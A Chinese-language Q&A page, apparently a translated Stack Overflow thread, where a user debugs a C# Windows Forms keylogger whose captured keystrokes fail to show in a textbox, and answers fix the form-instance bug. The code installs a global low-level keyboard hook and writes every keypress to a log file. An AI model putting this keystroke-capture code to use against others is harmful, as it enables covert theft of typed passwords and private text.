2012-03-22 65 views
1

我正在開發一個小鍵盤記錄器(用於非惡意目的),我想將所有記錄的按鍵寫入文本框。目前,除了啓動和停止方法外,所有對WriteOutput的調用都不會寫入任何內容。我究竟做錯了什麼?文字沒有顯示在Windows窗體文本框中

這裏是我的代碼:

的Program.cs

using System; 
using System.Collections.Generic; 
using System.Text; 
using System.Diagnostics; 
using System.Runtime.InteropServices; 
using System.Windows.Forms; 
using System.Drawing; 

namespace Logger 
{ 
    /// <summary> 
    /// Class with program entry point. 
    /// </summary> 
    internal sealed class Program 
    { 
     public static bool log = false; 

     private const int WH_KEYBOARD_LL = 13; 
     private const int WM_KEYDOWN = 0x0100; 
     private static LowLevelKeyboardProc _proc = HookCallback; 
     private static IntPtr _hookID = IntPtr.Zero; 

     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
     private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); 

     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
     [return: MarshalAs(UnmanagedType.Bool)] 
     private static extern bool UnhookWindowsHookEx(IntPtr hhk); 

     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
     private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); 

     [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
     private static extern IntPtr GetModuleHandle(string lpModuleName); 

     private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); 

     /// <summary> 
     /// Program entry point. 
     /// </summary> 
     [STAThread] 
     private static void Main(string[] args) 
     { 
      Application.EnableVisualStyles(); 
      Application.SetCompatibleTextRenderingDefault(false); 
      _hookID = SetHook(_proc); 
      Application.Run(new MainForm()); 
      UnhookWindowsHookEx(_hookID); 
     } 

     private static IntPtr SetHook(LowLevelKeyboardProc proc) 
     { 
      using (Process curProcess = Process.GetCurrentProcess()) 
      using (ProcessModule curModule = curProcess.MainModule) 
      { 
       return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); 
      } 
     }  

     private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) 
     { 
      if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN && log == true) 
      {    
       int vkCode = Marshal.ReadInt32(lParam); 

       MainForm MF = new MainForm(); 
       //THIS IS THE CALL THAT DOESN'T OUTPUT ANYTHING! 
       MF.WriteOutput(vkCode.ToString()); 
      } 
      return CallNextHookEx(_hookID, nCode, wParam, lParam); 
     }  
    } 
} 

Mainform.cs

using System; 
using System.Collections.Generic; 
using System.Drawing; 
using System.Windows.Forms; 
using System.IO; 

namespace Logger 
{ 
    /// <summary> 
    /// Description of MainForm. 
    /// </summary> 
    public partial class MainForm : Form 
    {  
     public MainForm() 
     { 
      InitializeComponent(); 
     } 

     public void WriteOutput(string input) 
     { 
      output.AppendText(string.Format(input)); 
      using (StreamWriter sr = new StreamWriter("log.log", true)) 
      { 
       sr.Write(input.ToString()); 
      } 
     } 

     private void StartClick(object sender, System.EventArgs e) 
     { 
      Program.log = true; 
      output.AppendText(string.Format("Logging started\n")); 
     } 

     private void StopClick(object sender, EventArgs e) 
     { 
      Program.log = false; 
      output.AppendText(string.Format("Logging stopped\n")); 
     } 
    } 
} 

回答

2

你每次都實例化一個新的形式:

MainForm MF = new MainForm(); 
MF.WriteOutput(vkCode.ToString()); 

相反,重複使用相同的MainForm實例。在Program.cs中:

private static MainForm mainForm; 

.... 

[STAThread] 
private static void Main(string[] args) 
{ 
    ... 
    mainForm = new MainForm(); 
    Application.Run(mainForm); 
    ... 
} 

.... 

mainForm.WriteOutput(vkCode.ToString()); 
+0

這樣做會導致'關鍵字'this'在靜態屬性,靜態方法或靜態字段初始值設定項中無效' – 2012-03-22 16:52:08

+1

@ ryansworld10我的不好....當然,mainForm必須是靜態的。查看更新的答案。 – ken2k 2012-03-22 17:18:18

1

嘗試鑄造vkCodeKeys,然後將其寫入文本。

像這樣:

if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN && log == true) 
{     
    int vkCode = Marshal.ReadInt32(lParam); 
    MainForm MF = new MainForm(); 
    MF.WriteOutput((Keys)vkCode); 
} 

我以前使用相同的代碼在一個switch語句來捕獲特定的字母和它一直很好用的演員。

希望這會有所幫助!

+0

這樣做後,我仍然沒有得到輸出到文本框。雖然我得到了輸出到文件。 – 2012-03-22 17:16:02